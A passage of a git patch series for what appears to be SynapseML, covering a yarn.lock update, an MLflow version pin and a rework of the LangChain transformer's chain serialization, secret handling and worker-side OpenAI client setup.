typedarray-to-buffer "^3.1.5" - -ws@^7.3.1: - version "7.5.10" - resolved "https://registry.yarnpkg.com/ws/-/ws-7.5.10.tgz#58b5c20dc281633f6c19113f39b349bd8bd558d9" - integrity sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ== - -ws@^8.4.2: - version "8.17.1" - resolved "https://registry.yarnpkg.com/ws/-/ws-8.17.1.tgz#9293da530bb548febc95371d90f9c878727d919b" - integrity sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ== - -xdg-basedir@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/xdg-basedir/-/xdg-basedir-4.0.0.tgz#4bc8d9984403696225ef83a1573cbbcb4e79db13" - integrity sha512-PSNhEJDejZYV7h50BohL09Er9VaIefr2LMAf3OEmpCkjOi34eYyQYAXUTjEQtZJTKcF0E2UKTh+osDLsgNim9Q== - -xml-js@^1.6.11: - version "1.6.11" - resolved "https://registry.yarnpkg.com/xml-js/-/xml-js-1.6.11.tgz#927d2f6947f7f1c19a316dd8eea3614e8b18f8e9" - integrity sha512-7rVi2KMfwfWFl+GpPg6m80IVMWXLRjO+PxTq7V2CDhoGak0wzYzFgUY2m4XJ47OGdXd8eLE8EmwfAmdjw7lC1g== - dependencies: - sax "^1.2.4" - -xtend@^4.0.0, xtend@^4.0.1: - version "4.0.2" - resolved "https://registry.yarnpkg.com/xtend/-/xtend-4.0.2.tgz#bb72779f5fa465186b1f438f674fa347fdb5db54" - integrity sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ== - -yallist@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/yallist/-/yallist-4.0.0.tgz#9bb92790d9c0effec63be73519e11a35019a3a72" - integrity sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A== - -yaml@^1.10.0, yaml@^1.10.2, yaml@^1.7.2: - version "1.10.3" - resolved "https://registry.yarnpkg.com/yaml/-/yaml-1.10.3.tgz#76e407ed95c42684fb8e14641e5de62fe65bbcb3" - integrity sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA== - -yocto-queue@^0.1.0: - version "0.1.0" - resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b" - integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q== - -zwitch@^1.0.0: - version "1.0.5" - resolved "https://registry.yarnpkg.com/zwitch/-/zwitch-1.0.5.tgz#d11d7381ffed16b742f6af7b3f223d5cd9fe9920" - integrity sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw== From 9e738e0a92d4149fefa58e8a3c0c0b16442b795e Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Thu, 30 Jul 2026 05:33:02 -0700 Subject: [PATCH 10/93] ci: pin MLflow for protobuf compatibility AB#5480878 (#2580) Pin the shared Python test environment to MLflow 2.21.3, matching the Databricks test dependency. This constrains protobuf to a compatible major version and invalidates the stale conda cache that breaks Python test collection. --- environment.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/environment.yml b/environment.yml index 97100225c05..7e317cfbebd 100644 --- a/environment.yml +++ b/environment.yml @@ -31,7 +31,7 @@ dependencies: - azure-storage-blob - jupyter - twine - - mlflow + - mlflow==2.21.3 - numpy - torch==2.1.0 - torchvision==0.16.0 From 3989daae9a6dbe5b38f628ddf616a7c25b43f598 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Fri, 31 Jul 2026 12:00:18 -0700 Subject: [PATCH 11/93] fix: modernize OpenAI and LangChain support for GPT-5.1 (#2572) test: migrate OpenAI tests and examples to GPT-5.1 --- .../services/langchain/LangchainTransform.py | 470 +++++++-- .../langchain/_LangchainSerialization.py | 513 ++++++++++ .../langchain/test_LangchainTransform.py | 924 ++++++++++++++---- .../services/openai/test_OpenAIDefaults.py | 19 +- .../services/openai/test_StructuredOutput.py | 9 +- .../ml/services/openai/OpenAIAPIKey.scala | 13 +- .../openai/OpenAIChatCompletionSuite.scala | 56 +- .../services/openai/OpenAIDefaultsSuite.scala | 36 +- .../openai/OpenAIEmbeddingsSuite.scala | 2 +- .../openai/OpenAIPromptResponsesSuite.scala | 13 +- .../services/openai/OpenAIPromptSuite.scala | 21 +- .../openai/OpenAIResponsesSuite.scala | 30 +- .../openai/OpenAIV1EndpointSuite.scala | 38 +- .../microsoft/azure/synapse/ml/Secrets.scala | 2 +- .../ml/nbtest/DatabricksUtilities.scala | 7 +- ...ent Question and Answering with PDFs.ipynb | 44 +- .../Explore Algorithms/OpenAI/Langchain.ipynb | 202 ++-- docs/Explore Algorithms/OpenAI/OpenAI.ipynb | 32 +- ...l OpenAI Prompter with Responses API.ipynb | 6 +- ...- OpenAI Embedding and GPU based KNN.ipynb | 4 +- .../Quickstart - OpenAI Embedding.ipynb | 4 +- ...kstart - Understand and Search Forms.ipynb | 74 +- environment.yml | 24 +- pipeline.yaml | 12 +- 24 files changed, 1964 insertions(+), 591 deletions(-) create mode 100644 cognitive/src/main/python/synapse/ml/services/langchain/_LangchainSerialization.py diff --git a/cognitive/src/main/python/synapse/ml/services/langchain/LangchainTransform.py b/cognitive/src/main/python/synapse/ml/services/langchain/LangchainTransform.py index 22dc537db3c..790f383104e 100644 --- a/cognitive/src/main/python/synapse/ml/services/langchain/LangchainTransform.py +++ b/cognitive/src/main/python/synapse/ml/services/langchain/LangchainTransform.py @@ -18,6 +18,10 @@ ... .setUrl(baseURL) >>> transformer.transform(sentenceDataFrame) +OpenAI credentials, URL, and API version can be configured inline or through +OpenAIDefaults. Inline transformer values take precedence. Modern OpenAI clients +are serialized on the driver and reconstructed inside each Spark worker. + If the chain does not have memory, you can also save and load the Langchain Transformer. The saving of chains with memory is currently not supported in Langchain, so we can't save transformers with that @@ -28,11 +32,12 @@ """ +import hashlib import json -from os import error -from langchain.chains.loading import load_chain_from_config -from langchain.chat_models import AzureChatOpenAI -from pyspark import keyword_only +import pickle +from langchain_core.load import dumps +from openai import OpenAIError +from pyspark import cloudpickle, keyword_only from pyspark.ml import Transformer from pyspark.ml.param.shared import ( HasInputCol, @@ -51,44 +56,97 @@ from synapse.ml.core.platform import running_on_synapse_internal from synapse.ml.core.serialize._safe_import import secure_import_class -OPENAI_API_VERSION = "2022-12-01" +OPENAI_API_VERSION = None RL = TypeVar("RL", bound="MLReadable") -class CompatAzureChatOpenAI(AzureChatOpenAI): - """Strips the ``max_tokens`` parameter from API requests. - - Newer Azure OpenAI model deployments (e.g. gpt-4o, o1) reject the legacy - ``max_tokens`` field and require ``max_completion_tokens`` instead. - LangChain <= 0.0.x always includes ``max_tokens`` in API params, even - when unset (sent as ``null``). This subclass removes it so callers can - pass ``max_completion_tokens`` via ``model_kwargs`` without conflict. - - Example:: - - llm = CompatAzureChatOpenAI( - deployment_name="gpt-4o", - model_kwargs={"max_completion_tokens": 100}, - ) - """ - - @property - def _default_params(self): - params = super()._default_params - params.pop("max_tokens", None) - return params +def _validate_chain_for_spark(chain) -> None: + if not hasattr(chain, "invoke") and not hasattr(chain, "run"): + raise TypeError("LangChain value must define invoke() or run().") + + try: + cloudpickle.dumps(chain) + except (pickle.PicklingError, TypeError) as pickling_error: + raise TypeError( + "LangChain value must be Spark-picklable. Modern OpenAI clients " + "contain non-picklable HTTP state and cannot be captured by " + "LangchainTransformer." + ) from pickling_error + + +def _chain_result_to_string(result) -> str: + if isinstance(result, str): + return str(result) + if hasattr(result, "content"): + return str(result.content) + if isinstance(result, dict): + for key in ("text", "output", "result"): + if key in result: + return str(result[key]) + return json.dumps(result, default=str) + return str(result) + + +def _worker_chain_cache_key( + serialized_chain: str, + secrets_map, + import_mappings, + initialize_prerun: bool, + prerun_url: Optional[str], +) -> str: + hasher = hashlib.sha256(serialized_chain.encode("utf-8")) + for secret_id, secret in sorted(secrets_map.items()): + hasher.update(secret_id.encode("utf-8")) + hasher.update(b"\0") + hasher.update(secret.encode("utf-8")) + hasher.update(b"\0") + for source, target in sorted(import_mappings.items()): + hasher.update(repr((source, target)).encode("utf-8")) + hasher.update(str(initialize_prerun).encode("utf-8")) + hasher.update((prerun_url or "").encode("utf-8")) + return hasher.hexdigest() class LangchainTransformerParamsWriter(DefaultParamsWriter): @staticmethod def _chain_serializer(chain) -> Optional[str]: - if chain.memory is not None: + from synapse.ml.services.langchain._LangchainSerialization import ( + prepare_serialized_chain, + _PERSISTED_IMPORT_MAPPINGS, + ) + + if getattr(chain, "memory", None) is not None: raise NotImplementedError( "Memory saving is not currently supported in Langchain. " "Therefore, it is not possible to save this LangchainTransformer object, " "as its chain contains memory." ) - return json.dumps(chain.dict()) + try: + serialized_chain = dumps(chain) + except TypeError as e: + raise NotImplementedError( + "This LangChain Runnable cannot be serialized by langchain-core." + ) from e + worker_config = prepare_serialized_chain( + serialized_chain, + {}, + None, + None, + None, + sanitize_transport=True, + ) + if worker_config is None: + raise NotImplementedError( + "This LangChain Runnable cannot be serialized by langchain-core." + ) + unsupported_mappings = set(worker_config.additional_import_mappings) - set( + _PERSISTED_IMPORT_MAPPINGS + ) + if unsupported_mappings: + raise NotImplementedError( + "This LangChain Runnable cannot be serialized by langchain-core." + ) + return worker_config.serialized_chain def saveImpl(self, path: str) -> None: params = self.instance._paramMap @@ -109,15 +167,77 @@ def saveImpl(self, path: str) -> None: class LangchainTransformerParamsReader(DefaultParamsReader): def load(self, path: str) -> RL: + from synapse.ml.services.langchain._LangchainSerialization import ( + contains_openai_client, + load_persisted_chain, + prepare_serialized_chain, + ) + metadata = LangchainTransformerParamsReader.loadMetadata(path, self.sc) py_type: Type[RL] = secure_import_class(metadata["class"]) instance = py_type() cast("Params", instance)._resetUid(metadata["uid"]) - # deserialize the chain before setting Params - metadata["paramMap"]["chain"] = load_chain_from_config( - json.loads(metadata["paramMap"]["chain"]) - ) + serialized_chain = metadata["paramMap"]["chain"] + serialized_config = json.loads(serialized_chain) + metadata["paramMap"] = metadata["paramMap"].copy() + metadata["paramMap"].pop("chain") + + subscription_key = None + url = None + api_version = None + if contains_openai_client(serialized_config): + from synapse.ml.services.openai.OpenAIDefaults import OpenAIDefaults + + defaults = OpenAIDefaults() + saved_key = metadata["paramMap"].get("subscriptionKey") + saved_url = metadata["paramMap"].get("url") + global_url = defaults.get_URL() + internal_url = ( + instance.getUrl() + if instance.running_on_synapse_internal + and instance.isDefined(instance.url) + else None + ) + uses_trusted_default_url = False + if saved_key is not None: + subscription_key = saved_key + if saved_url is not None: + url = saved_url + else: + url = global_url if global_url is not None else internal_url + uses_trusted_default_url = url is not None + else: + subscription_key = defaults.get_subscription_key() + url = global_url if global_url is not None else internal_url + uses_trusted_default_url = url is not None + if uses_trusted_default_url: + metadata["paramMap"].pop("url", None) + metadata["defaultParamMap"] = metadata.get("defaultParamMap", {}).copy() + metadata["defaultParamMap"].pop("url", None) + api_version = ( + metadata["paramMap"].get("apiVersion") or defaults.get_api_version() + ) + if subscription_key is None or url is None: + raise ValueError( + "Loading a saved LangChain OpenAI client requires both a " + "subscription key and URL inline or through OpenAIDefaults." + ) + LangchainTransformerParamsReader.getAndSetParams(instance, metadata) + worker_config = prepare_serialized_chain( + serialized_chain, + {}, + subscription_key, + url, + api_version, + sanitize_transport=True, + ) + if worker_config is None: + raise NotImplementedError( + "This saved LangChain Runnable cannot be deserialized by " + "langchain-core." + ) + instance.setChain(load_persisted_chain(worker_config)) return instance @@ -204,7 +324,42 @@ def setApiVersion(self, value: str): return self._set(apiVersion=value) def getApiVersion(self): - return self.getOrDefault(self.apiVersion) + return ( + self.getOrDefault(self.apiVersion) + if self.isDefined(self.apiVersion) + else None + ) + + def _get_effective_openai_settings(self): + from synapse.ml.services.openai.OpenAIDefaults import OpenAIDefaults + + defaults = OpenAIDefaults() + # Keep both established SynapseML configuration paths when client + # libraries change: inline values override OpenAIDefaults. + subscription_key = ( + self.getSubscriptionKey() + if self.isSet(self.subscriptionKey) + else defaults.get_subscription_key() + ) + if self.isSet(self.url): + url = self.getUrl() + has_configured_url = True + else: + global_url = defaults.get_URL() + has_configured_url = global_url is not None + url = ( + global_url + if global_url is not None + else self.getUrl() + if self.isDefined(self.url) + else None + ) + api_version = ( + self.getApiVersion() + if self.isSet(self.apiVersion) + else defaults.get_api_version() + ) + return subscription_key, url, api_version, has_configured_url def setInputCol(self, value: str): """ @@ -236,6 +391,195 @@ def _transform(self, dataset): do langchain transformation for the input column, and save the transformed values to the output column. """ + from synapse.ml.services.langchain._LangchainSerialization import ( + _AZURE_API_KEY_ONLY_TOKEN, + _PERSISTED_IMPORT_MAPPINGS, + prepare_chain_for_worker, + ) + + chain = self.getChain() + ( + subscription_key, + url, + api_version, + has_configured_url, + ) = self._get_effective_openai_settings() + worker_config = prepare_chain_for_worker( + chain, + subscription_key, + url, + api_version, + ) + if worker_config is None: + _validate_chain_for_spark(chain) + picklable_chain = chain + else: + picklable_chain = None + + worker_serialized_chain = ( + worker_config.serialized_chain if worker_config is not None else None + ) + worker_secrets_map = ( + worker_config.secrets_map if worker_config is not None else None + ) + worker_import_mappings = dict(_PERSISTED_IMPORT_MAPPINGS) + if worker_config is not None: + worker_import_mappings.update(worker_config.additional_import_mappings) + azure_api_key_only_token = _AZURE_API_KEY_ONLY_TOKEN + initialize_prerun = self.running_on_synapse_internal and not has_configured_url + prerun_url = url if initialize_prerun else None + worker_cache_key = ( + _worker_chain_cache_key( + worker_serialized_chain, + worker_secrets_map, + worker_import_mappings, + initialize_prerun, + prerun_url, + ) + if worker_serialized_chain is not None + else None + ) + worker_chain = None + + worker_runtime_fields = { + "async_client", + "client", + "http_async_client", + "http_client", + "root_async_client", + "root_client", + } + worker_openai_client_names = { + "AzureChatOpenAI", + "AzureOpenAI", + "AzureOpenAIEmbeddings", + "ChatOpenAI", + "OpenAI", + "OpenAIEmbeddings", + } + worker_azure_client_names = { + "AzureChatOpenAI", + "AzureOpenAI", + "AzureOpenAIEmbeddings", + } + + def walk_worker_chain_objects(chain): + pending = [chain] + visited = set() + while pending: + value = pending.pop() + if value is None or isinstance(value, (str, bytes, int, float, bool)): + continue + value_id = id(value) + if value_id in visited: + continue + visited.add(value_id) + if isinstance(value, dict): + pending.extend(value.values()) + continue + if isinstance(value, (list, tuple, set)): + pending.extend(value) + continue + if not type(value).__module__.startswith("langchain"): + continue + + yield value + if type(value).__name__ not in worker_openai_client_names: + pending.extend( + item + for field_name, item in getattr(value, "__dict__", {}).items() + if field_name not in worker_runtime_fields + ) + + def worker_sdk_clients(value): + clients = ( + getattr(value, "root_client", None), + getattr(value, "root_async_client", None), + getattr(getattr(value, "client", None), "_client", None), + getattr(getattr(value, "async_client", None), "_client", None), + ) + seen = set() + for client in clients: + if client is not None and id(client) not in seen: + seen.add(id(client)) + yield client + + def clear_worker_azure_ad_token_sentinel(chain): + for value in walk_worker_chain_objects(chain): + if type(value).__name__ not in worker_azure_client_names: + continue + token = getattr(value, "azure_ad_token", None) + if hasattr(token, "get_secret_value"): + token = token.get_secret_value() + if token != azure_api_key_only_token: + continue + + value.azure_ad_token = None + value.azure_ad_token_provider = None + value.azure_ad_async_token_provider = None + for client in worker_sdk_clients(value): + client._azure_ad_token = None + client._azure_ad_token_provider = None + + def worker_sync_sdk_clients(chain): + clients = [] + seen = set() + for value in walk_worker_chain_objects(chain): + if type(value).__name__ in worker_openai_client_names: + candidates = ( + getattr(value, "root_client", None), + getattr(getattr(value, "client", None), "_client", None), + ) + for client in candidates: + if client is not None and id(client) not in seen: + seen.add(id(client)) + clients.append(client) + return clients + + def close_worker_clients(clients): + for client in clients: + close = getattr(client, "close", None) + if callable(close): + close() + + def get_or_load_worker_chain(): + import builtins + import weakref + from collections import OrderedDict + from langchain_core.load import loads + + cache_name = "_synapseml_langchain_worker_cache" + cache = getattr(builtins, cache_name, None) + if cache is None: + cache = OrderedDict() + setattr(builtins, cache_name, cache) + + if worker_cache_key in cache: + cached_chain = cache.pop(worker_cache_key) + cache[worker_cache_key] = cached_chain + return cached_chain + + if initialize_prerun: + from synapse.ml.fabric.prerun.openai_prerun import OpenAIPrerun + + OpenAIPrerun(api_base=prerun_url).init_personalized_session(None) + loaded_chain = loads( + worker_serialized_chain, + allowed_objects="all", + secrets_map=worker_secrets_map, + valid_namespaces=["langchain_classic"], + additional_import_mappings=worker_import_mappings, + secrets_from_env=False, + ) + clear_worker_azure_ad_token_sentinel(loaded_chain) + clients = worker_sync_sdk_clients(loaded_chain) + if clients: + weakref.finalize(loaded_chain, close_worker_clients, clients) + cache[worker_cache_key] = loaded_chain + while len(cache) > 8: + cache.popitem(last=False) + return loaded_chain + # Define the schema for the output of the UDF schema = StructType( [ @@ -246,50 +590,32 @@ def _transform(self, dataset): @udf(schema) def udfFunction(x): - import openai - from packaging import version + nonlocal worker_chain - if self.running_on_synapse_internal and not self.isSet(self.url): - from synapse.ml.fabric.prerun.openai_prerun import OpenAIPrerun + if worker_chain is None: + if worker_serialized_chain is not None: + worker_chain = get_or_load_worker_chain() + else: + if initialize_prerun: + from synapse.ml.fabric.prerun.openai_prerun import OpenAIPrerun - OpenAIPrerun(api_base=self.getUrl()).init_personalized_session(None) - else: - openai.api_type = "azure" - openai.api_key = self.getSubscriptionKey() - openai.api_base = self.getUrl() - openai.api_version = self.getApiVersion() - - error_messages = {} - if version.parse(openai.__version__) < version.parse("1.0.0"): - error_messages = { - openai.error.Timeout: "OpenAI API request timed out, please retry your request after a brief wait and contact us if the issue persists: {}", - openai.error.APIError: "OpenAI API returned an API Error: {}", - openai.error.APIConnectionError: "OpenAI API request failed to connect, check your network settings, proxy configuration, SSL certificates, or firewall rules: {}", - openai.error.InvalidRequestError: "OpenAI API request was invalid: {}", - openai.error.AuthenticationError: "OpenAI API request was not authorized, please check your API key or token and make sure it is correct and active. You may need to generate a new one from your account dashboard: {}", - openai.error.PermissionError: "OpenAI API request was not permitted, make sure your API key has the appropriate permissions for the action or model accessed: {}", - openai.error.RateLimitError: "OpenAI API request exceeded rate limit: {}", - } - else: - error_messages = { - openai.OpenAIError: "OpenAI API returned an API Error: {}", - } + OpenAIPrerun(api_base=prerun_url).init_personalized_session( + None + ) + worker_chain = picklable_chain try: - result = self.getChain().run(x) + if hasattr(worker_chain, "invoke"): + result = worker_chain.invoke(x) + elif hasattr(worker_chain, "run"): + result = worker_chain.run(x) + else: + raise TypeError("LangChain value must define invoke() or run().") + result = _chain_result_to_string(result) error_message = "" - except tuple(error_messages.keys()) as e: + except OpenAIError as e: result = "" - # Use exact type match first, fall back to base class message - fmt = error_messages.get(type(e)) - if fmt is None: - for exc_type, msg in error_messages.items(): - if isinstance(e, exc_type): - fmt = msg - break - if fmt is None: - fmt = "OpenAI API returned an error: {}" - error_message = fmt.format(e) + error_message = f"OpenAI API returned an API Error: {e}" return result, error_message diff --git a/cognitive/src/main/python/synapse/ml/services/langchain/_LangchainSerialization.py b/cognitive/src/main/python/synapse/ml/services/langchain/_LangchainSerialization.py new file mode 100644 index 00000000000..1d2f8665d40 --- /dev/null +++ b/cognitive/src/main/python/synapse/ml/services/langchain/_LangchainSerialization.py @@ -0,0 +1,513 @@ +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. + +import json +from typing import Dict, NamedTuple, Optional, Set, Tuple +from urllib.parse import SplitResult, urlsplit, urlunsplit +from uuid import uuid4 + +from langchain_core.load import dumps, loads + +_OPENAI_CLIENT_NAMES = { + "AzureChatOpenAI", + "AzureOpenAI", + "AzureOpenAIEmbeddings", + "ChatOpenAI", + "OpenAI", + "OpenAIEmbeddings", +} +_AZURE_OPENAI_CLIENT_NAMES = { + "AzureChatOpenAI", + "AzureOpenAI", + "AzureOpenAIEmbeddings", +} +_OPENAI_KEY_SECRET_ID = "OPENAI_API_KEY" +_AZURE_OPENAI_KEY_SECRET_ID = "AZURE_OPENAI_API_KEY" +_AZURE_OPENAI_AD_TOKEN_SECRET_ID = "AZURE_OPENAI_AD_TOKEN" +_AZURE_API_KEY_ONLY_TOKEN = "SYNAPSEML_API_KEY_ONLY" +_OPENAI_SECRET_IDS = { + _OPENAI_KEY_SECRET_ID, + _AZURE_OPENAI_KEY_SECRET_ID, + _AZURE_OPENAI_AD_TOKEN_SECRET_ID, +} +_RUNTIME_FIELDS = { + "async_client", + "client", + "http_async_client", + "http_client", + "root_async_client", + "root_client", +} +_UNTRUSTED_TRANSPORT_FIELDS = { + "api_key", + "api_version", + "async_client", + "azure_ad_async_token_provider", + "azure_ad_token", + "azure_ad_token_provider", + "azure_endpoint", + "base_url", + "client", + "default_headers", + "default_query", + "http_async_client", + "http_client", + "openai_api_base", + "openai_api_key", + "openai_organization", + "openai_proxy", + "organization", + "root_async_client", + "root_client", +} +_NESTED_UNTRUSTED_TRANSPORT_FIELDS = _UNTRUSTED_TRANSPORT_FIELDS | { + "openai_api_version", +} +_PERSISTED_IMPORT_MAPPINGS = { + ("langchain", "chat_models", "openai", "ChatOpenAI"): ( + "langchain_openai", + "chat_models", + "base", + "ChatOpenAI", + ), + ("langchain", "chat_models", "azure_openai", "AzureChatOpenAI"): ( + "langchain_openai", + "chat_models", + "azure", + "AzureChatOpenAI", + ), + ("langchain", "llms", "openai", "OpenAI"): ( + "langchain_openai", + "llms", + "base", + "OpenAI", + ), + ("langchain", "llms", "openai", "AzureOpenAI"): ( + "langchain_openai", + "llms", + "azure", + "AzureOpenAI", + ), + ("langchain_classic", "chains", "llm", "LLMChain"): ( + "langchain_classic", + "chains", + "llm", + "LLMChain", + ), +} + + +class WorkerChainConfig(NamedTuple): + serialized_chain: str + secrets_map: Dict[str, str] + additional_import_mappings: Dict[Tuple[str, ...], Tuple[str, ...]] + + +def contains_not_implemented(value) -> bool: + if isinstance(value, dict): + if value.get("lc") == 1 and value.get("type") == "not_implemented": + return True + return any(contains_not_implemented(item) for item in value.values()) + if isinstance(value, list): + return any(contains_not_implemented(item) for item in value) + return False + + +def contains_openai_client(value) -> bool: + if isinstance(value, dict): + identifier = value.get("id") + if ( + value.get("lc") == 1 + and value.get("type") == "constructor" + and isinstance(identifier, list) + and identifier + and identifier[-1] in _OPENAI_CLIENT_NAMES + ): + return True + return any(contains_openai_client(item) for item in value.values()) + if isinstance(value, list): + return any(contains_openai_client(item) for item in value) + return False + + +def _validate_secret_references(value, allowed_secret_ids: Set[str]) -> None: + if isinstance(value, dict): + if value.get("lc") == 1 and value.get("type") == "secret": + identifier = value.get("id") + if ( + not isinstance(identifier, list) + or len(identifier) != 1 + or identifier[0] not in allowed_secret_ids + ): + raise ValueError( + "Saved LangChain artifacts cannot reference external secrets." + ) + for item in value.values(): + _validate_secret_references(item, allowed_secret_ids) + elif isinstance(value, list): + for item in value: + _validate_secret_references(item, allowed_secret_ids) + + +def _iter_langchain_objects(value, visited=None): + visited = visited or set() + if value is None or isinstance(value, (str, bytes, int, float, bool)): + return + + value_id = id(value) + if value_id in visited: + return + visited.add(value_id) + + if isinstance(value, dict): + for item in value.values(): + yield from _iter_langchain_objects(item, visited) + return + if isinstance(value, (list, tuple, set)): + for item in value: + yield from _iter_langchain_objects(item, visited) + return + if not type(value).__module__.startswith("langchain"): + return + + yield value + if type(value).__name__ not in _OPENAI_CLIENT_NAMES: + for field_name, item in getattr(value, "__dict__", {}).items(): + if field_name not in _RUNTIME_FIELDS: + yield from _iter_langchain_objects(item, visited) + + +def _secret_value(value) -> Optional[str]: + if hasattr(value, "get_secret_value"): + value = value.get_secret_value() + return value if isinstance(value, str) and value else None + + +def _collect_secrets(chain, ignored_secret_ids: Set[str]) -> Dict[str, str]: + secrets = {} + for value in _iter_langchain_objects(chain): + for field_name, secret_id in getattr(value, "lc_secrets", {}).items(): + if secret_id in ignored_secret_ids: + continue + secret = _secret_value(getattr(value, field_name, None)) + if secret is None: + continue + existing = secrets.get(secret_id) + if existing is not None and existing != secret: + raise ValueError( + "LangChain contains conflicting values for secret " + f"{secret_id}. Set one SynapseML subscription key instead." + ) + secrets[secret_id] = secret + return secrets + + +def _openai_sdk_clients(value): + clients = ( + getattr(value, "root_client", None), + getattr(value, "root_async_client", None), + getattr(getattr(value, "client", None), "_client", None), + getattr(getattr(value, "async_client", None), "_client", None), + ) + seen = set() + for client in clients: + if client is not None and id(client) not in seen: + seen.add(id(client)) + yield client + + +def _clear_azure_ad_token_sentinel(chain) -> None: + for value in _iter_langchain_objects(chain): + if type(value).__name__ not in _AZURE_OPENAI_CLIENT_NAMES: + continue + token = _secret_value(getattr(value, "azure_ad_token", None)) + if token != _AZURE_API_KEY_ONLY_TOKEN: + continue + + value.azure_ad_token = None + value.azure_ad_token_provider = None + value.azure_ad_async_token_provider = None + for client in _openai_sdk_clients(value): + client._azure_ad_token = None + client._azure_ad_token_provider = None + + +def _service_url(url: str) -> SplitResult: + parsed = urlsplit(url) + if parsed.scheme not in ("http", "https") or not parsed.netloc: + raise ValueError("OpenAI URL must be an absolute HTTP or HTTPS URL.") + if parsed.query or parsed.fragment: + raise ValueError( + "OpenAI URL must not contain a query string or fragment. " + "Set the API version with setApiVersion instead." + ) + return parsed + + +def _strip_azure_openai_path(path: str) -> str: + index = path.find("/openai") + if index < 0: + return path + suffix = index + len("/openai") + return path[:index] if suffix == len(path) or path[suffix] == "/" else path + + +def _openai_base_url(url: str) -> str: + parsed = _service_url(url) + path = parsed.path.rstrip("/") + hostname = parsed.hostname or "" + if hostname.endswith((".openai.azure.com", ".services.ai.azure.com")): + path = _strip_azure_openai_path(path) + "/openai/v1" + return urlunsplit(parsed._replace(path=path + "/")) + + +def _azure_endpoint(url: str) -> str: + parsed = _service_url(url) + path = parsed.path.rstrip("/") + hostname = parsed.hostname or "" + if hostname.endswith((".openai.azure.com", ".services.ai.azure.com")): + path = _strip_azure_openai_path(path) + return urlunsplit(parsed._replace(path=path + "/")) + + +def _remove_mapping_keys(container, field_name: str, blocked_keys: Set[str]) -> None: + mapping = container.get(field_name) + if not isinstance(mapping, dict): + return + for key in list(mapping): + if isinstance(key, str) and key.lower() in blocked_keys: + mapping.pop(key) + if not mapping: + container.pop(field_name) + + +def _sanitize_request_options( + kwargs, + subscription_key: Optional[str], + url: Optional[str], + api_version: Optional[str], + sanitize_transport: bool, +) -> None: + containers = [kwargs] + model_kwargs = kwargs.get("model_kwargs") + if isinstance(model_kwargs, dict): + containers.append(model_kwargs) + + if sanitize_transport: + if isinstance(model_kwargs, dict): + for field_name in _NESTED_UNTRUSTED_TRANSPORT_FIELDS: + model_kwargs.pop(field_name, None) + for container in containers: + container.pop("extra_headers", None) + container.pop("extra_query", None) + return + + overridden_fields = set() + if subscription_key is not None: + overridden_fields.update( + ( + "api_key", + "azure_ad_async_token_provider", + "azure_ad_token", + "azure_ad_token_provider", + "openai_api_key", + ) + ) + if url is not None: + overridden_fields.update(("azure_endpoint", "base_url", "openai_api_base")) + if api_version is not None: + overridden_fields.update(("api_version", "openai_api_version")) + for container in containers: + for field_name in overridden_fields: + container.pop(field_name, None) + + blocked_headers = set() + if subscription_key is not None: + blocked_headers.update(("authorization", "api-key")) + if url is not None: + blocked_headers.update(("host", ":authority")) + blocked_query = {"api-version", "api_version"} if api_version is not None else set() + + for container in containers: + _remove_mapping_keys(container, "extra_headers", blocked_headers) + _remove_mapping_keys(container, "extra_query", blocked_query) + _remove_mapping_keys(container, "default_headers", blocked_headers) + _remove_mapping_keys(container, "default_query", blocked_query) + + +def _configure_serialized_chain( + value, + subscription_key: Optional[str], + url: Optional[str], + api_version: Optional[str], + secret_ids: Dict[str, str], + additional_import_mappings: Dict[Tuple[str, ...], Tuple[str, ...]], + sanitize_transport: bool, +) -> None: + if isinstance(value, dict): + identifier = value.get("id") + if ( + value.get("lc") == 1 + and value.get("type") == "constructor" + and isinstance(identifier, list) + and identifier + ): + identifier_tuple = tuple(identifier) + if identifier[0] == "langchain_classic": + additional_import_mappings[identifier_tuple] = identifier_tuple + + if identifier[-1] in _OPENAI_CLIENT_NAMES: + kwargs = value.setdefault("kwargs", {}) + is_azure_client = identifier[-1] in _AZURE_OPENAI_CLIENT_NAMES + if sanitize_transport: + for field_name in _UNTRUSTED_TRANSPORT_FIELDS: + kwargs.pop(field_name, None) + _sanitize_request_options( + kwargs, + subscription_key, + url, + api_version, + sanitize_transport, + ) + if subscription_key is not None: + secret_id = ( + _AZURE_OPENAI_KEY_SECRET_ID + if is_azure_client + else _OPENAI_KEY_SECRET_ID + ) + kwargs["openai_api_key"] = { + "lc": 1, + "type": "secret", + "id": [secret_ids[secret_id]], + } + if is_azure_client: + kwargs["azure_ad_token"] = _AZURE_API_KEY_ONLY_TOKEN + kwargs.pop("azure_ad_token_provider", None) + kwargs.pop("azure_ad_async_token_provider", None) + if url is not None: + if is_azure_client: + kwargs["azure_endpoint"] = _azure_endpoint(url) + kwargs.pop("openai_api_base", None) + else: + kwargs["openai_api_base"] = _openai_base_url(url) + if api_version is not None and is_azure_client: + kwargs["openai_api_version"] = api_version + + for item in value.values(): + _configure_serialized_chain( + item, + subscription_key, + url, + api_version, + 